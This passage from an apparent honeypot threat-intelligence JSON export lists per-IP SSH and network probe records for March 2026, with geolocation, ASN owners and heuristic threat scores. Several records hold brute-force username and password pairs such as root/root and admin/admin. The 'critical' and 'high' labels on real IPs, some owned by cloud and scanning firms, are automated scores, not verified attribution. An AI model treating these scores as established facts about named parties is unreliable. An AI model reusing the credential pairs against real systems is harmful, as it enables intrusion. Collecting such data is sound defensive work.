        "last_seen_30d": "2026-03-27T03:34:44.371000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "40.124.185.240": {
      "attack_count": 7,
      "first_seen": "2026-03-13T01:03:19.568Z",
      "last_seen": "2026-03-13T01:03:29.568Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 75.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-05T18:02:35.219000+00:00",
        "last_seen_30d": "2026-03-28T01:20:26.553000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Honeytrap": 11,
        "Cowrie": 7,
        "Dionaea": 3,
        "Ipphoney": 1
      }
    },
    "61.77.88.90": {
      "attack_count": 6,
      "first_seen": "2026-03-02T17:29:23.857Z",
      "last_seen": "2026-03-25T08:37:56.266Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gwangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 34.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:29:23.857000+00:00",
        "last_seen_30d": "2026-03-25T08:39:06.128000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "116.120.157.4": {
      "attack_count": 5,
      "first_seen": "2026-03-21T01:39:13.850Z",
      "last_seen": "2026-03-21T01:41:13.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Pyeongtaek-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T01:39:13.850000+00:00",
        "last_seen_30d": "2026-03-23T12:34:47.831000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "123.60.62.61": {
      "attack_count": 5,
      "first_seen": "2026-03-21T02:35:52.917Z",
      "last_seen": "2026-03-21T02:37:52.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nick"
      ],
      "passwords_attempted": [
        "12345678"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T02:35:52.917000+00:00",
        "last_seen_30d": "2026-03-21T02:47:56.402000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "213.177.179.39": {
      "attack_count": 5,
      "first_seen": "2026-03-05T23:43:35.274Z",
      "last_seen": "2026-03-05T23:43:37.685Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "#1Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:05:21.478000+00:00",
        "last_seen_30d": "2026-03-05T23:44:43.718000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "38.188.160.156": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:38:14.228Z",
      "last_seen": "2026-03-11T00:38:16.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "030485"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:38:14.228000+00:00",
        "last_seen_30d": "2026-03-11T00:39:17.457000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.226": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:31:01.438Z",
      "last_seen": "2026-03-10T23:31:03.835Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "atlantide"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:31:01.438000+00:00",
        "last_seen_30d": "2026-03-10T23:32:06.398000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "177.47.84.180": {
      "attack_count": 4,
      "first_seen": "2026-03-24T08:30:08.684Z",
      "last_seen": "2026-03-24T08:30:40.268Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Botucatu",
      "asn": 262480,
      "as_org": "CONNECT10 INTERNET EIRELI",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T08:30:08.684000+00:00",
        "last_seen_30d": "2026-03-24T08:31:47.528000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "18.222.201.82": {
      "attack_count": 4,
      "first_seen": "2026-03-12T12:44:38.597Z",
      "last_seen": "2026-03-12T12:44:39.098Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-12T12:44:38+00:00",
        "last_seen_30d": "2026-03-12T12:54:47.994000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 162,
        "Honeytrap": 110,
        "Dionaea": 9,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Redishoneypot": 2
      }
    },
    "198.235.24.125": {
      "attack_count": 4,
      "first_seen": "2026-03-12T16:24:29.842Z",
      "last_seen": "2026-03-12T16:24:33.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 30,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T02:43:12.957000+00:00",
        "last_seen_30d": "2026-03-31T08:26:22.286000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 19,
        "Cowrie": 4,
        "ConPot": 1,
        "ElasticPot": 1
      }
    },
    "219.138.221.147": {
      "attack_count": 4,
      "first_seen": "2026-03-30T05:43:41.924Z",
      "last_seen": "2026-03-30T05:43:49.629Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T05:43:41.924000+00:00",
        "last_seen_30d": "2026-03-30T05:45:47.832000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "3.83.106.176": {
      "attack_count": 4,
      "first_seen": "2026-03-26T00:55:22.974Z",
      "last_seen": "2026-03-26T00:55:30.221Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 57.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 14.2,
        "diversity": 10,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 17,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-13T00:57:13+00:00",
        "last_seen_30d": "2026-03-29T01:02:24.145000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "81.177.101.45": {
      "attack_count": 4,
      "first_seen": "2026-03-17T15:04:24.795Z",
      "last_seen": "2026-03-29T03:14:53.774Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T15:04:24.795000+00:00",
        "last_seen_30d": "2026-03-29T03:24:57.758000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "91.230.168.3": {
      "attack_count": 4,
      "first_seen": "2026-03-17T21:09:55.123Z",
      "last_seen": "2026-03-31T20:03:42.223Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 28,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-04T12:34:39.857000+00:00",
        "last_seen_30d": "2026-03-31T20:04:45.464000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 76,
        "Honeytrap": 45,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "194.107.115.11": {
      "attack_count": 3,
      "first_seen": "2026-03-26T19:01:48.655Z",
      "last_seen": "2026-03-26T19:01:48.981Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 197984,
      "as_org": "State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ",
      "threat_score": 17.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T19:01:48.655000+00:00",
        "last_seen_30d": "2026-03-26T19:02:56.899000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "45.192.96.183": {
      "attack_count": 3,
      "first_seen": "2026-03-04T17:20:46.795Z",
      "last_seen": "2026-03-04T17:21:50.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401701,
      "as_org": "cognetcloud INC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T13:15:24.839000+00:00",
        "last_seen_30d": "2026-03-04T17:22:55.772000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Tanner": 1
      }
    },
    "5.223.67.90": {
      "attack_count": 3,
      "first_seen": "2026-03-09T00:30:44.360Z",
      "last_seen": "2026-03-09T00:31:44.750Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 215859,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T00:30:44.360000+00:00",
        "last_seen_30d": "2026-03-10T12:38:39.072000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "112.74.38.239": {
      "attack_count": 2,
      "first_seen": "2026-03-03T22:57:37.649Z",
      "last_seen": "2026-03-03T22:57:47.878Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 10.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 12,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T22:57:37.649000+00:00",
        "last_seen_30d": "2026-03-14T02:53:25.263000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 2,
        "Dionaea": 1,
        "Honeytrap": 1
      }
    },
    "120.159.106.125": {
      "attack_count": 2,
      "first_seen": "2026-03-30T12:49:06.518Z",
      "last_seen": "2026-03-30T12:49:20.128Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 135887,
      "as_org": "Belong Telstra Limited",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T12:49:06.518000+00:00",
        "last_seen_30d": "2026-03-30T12:50:27.483000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "165.232.101.153": {
      "attack_count": 2,
      "first_seen": "2026-03-12T20:06:10.101Z",
      "last_seen": "2026-03-12T20:06:10.367Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T20:06:10.101000+00:00",
        "last_seen_30d": "2026-03-12T20:07:14.407000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "180.3.223.77": {
      "attack_count": 2,
      "first_seen": "2026-03-18T15:22:08.179Z",
      "last_seen": "2026-03-18T15:22:21.588Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Hanamaki",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:22:08.179000+00:00",
        "last_seen_30d": "2026-03-18T15:23:29.623000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.242.226.19": {
      "attack_count": 2,
      "first_seen": "2026-03-07T01:36:39.220Z",
      "last_seen": "2026-03-07T01:36:48.832Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.9,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 14,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T14:57:47.895000+00:00",
        "last_seen_30d": "2026-03-15T11:11:17.217000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 20,
        "Cowrie": 2,
        "Dionaea": 2
      }
    },
    "204.168.205.14": {
      "attack_count": 2,
      "first_seen": "2026-03-30T08:14:45.002Z",
      "last_seen": "2026-03-30T08:14:45.323Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T08:14:45.002000+00:00",
        "last_seen_30d": "2026-03-30T08:15:52.773000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "41.59.173.35": {
      "attack_count": 2,
      "first_seen": "2026-03-21T08:57:32.820Z",
      "last_seen": "2026-03-21T08:57:45.833Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T08:57:32.820000+00:00",
        "last_seen_30d": "2026-03-21T08:58:55.280000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.9.152": {
      "attack_count": 2,
      "first_seen": "2026-03-20T18:20:31.618Z",
      "last_seen": "2026-03-20T18:20:44.744Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Tunduma",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T18:20:31.618000+00:00",
        "last_seen_30d": "2026-03-20T18:21:49.661000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.225.187.6": {
      "attack_count": 2,
      "first_seen": "2026-03-24T06:24:33.875Z",
      "last_seen": "2026-03-24T06:25:05.046Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Melipilla",
      "asn": 265851,
      "as_org": "MJL NETWORK EIRL",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:24:33.875000+00:00",
        "last_seen_30d": "2026-03-24T06:26:10.650000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.98.68.177": {
      "attack_count": 2,
      "first_seen": "2026-03-27T11:16:45.899Z",
      "last_seen": "2026-03-27T11:16:59.698Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:16:45.899000+00:00",
        "last_seen_30d": "2026-03-27T11:18:04.796000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "81.140.180.110": {
      "attack_count": 2,
      "first_seen": "2026-03-09T06:26:04.517Z",
      "last_seen": "2026-03-09T06:26:17.627Z",
      "sessions": 1,
      "ports": [],
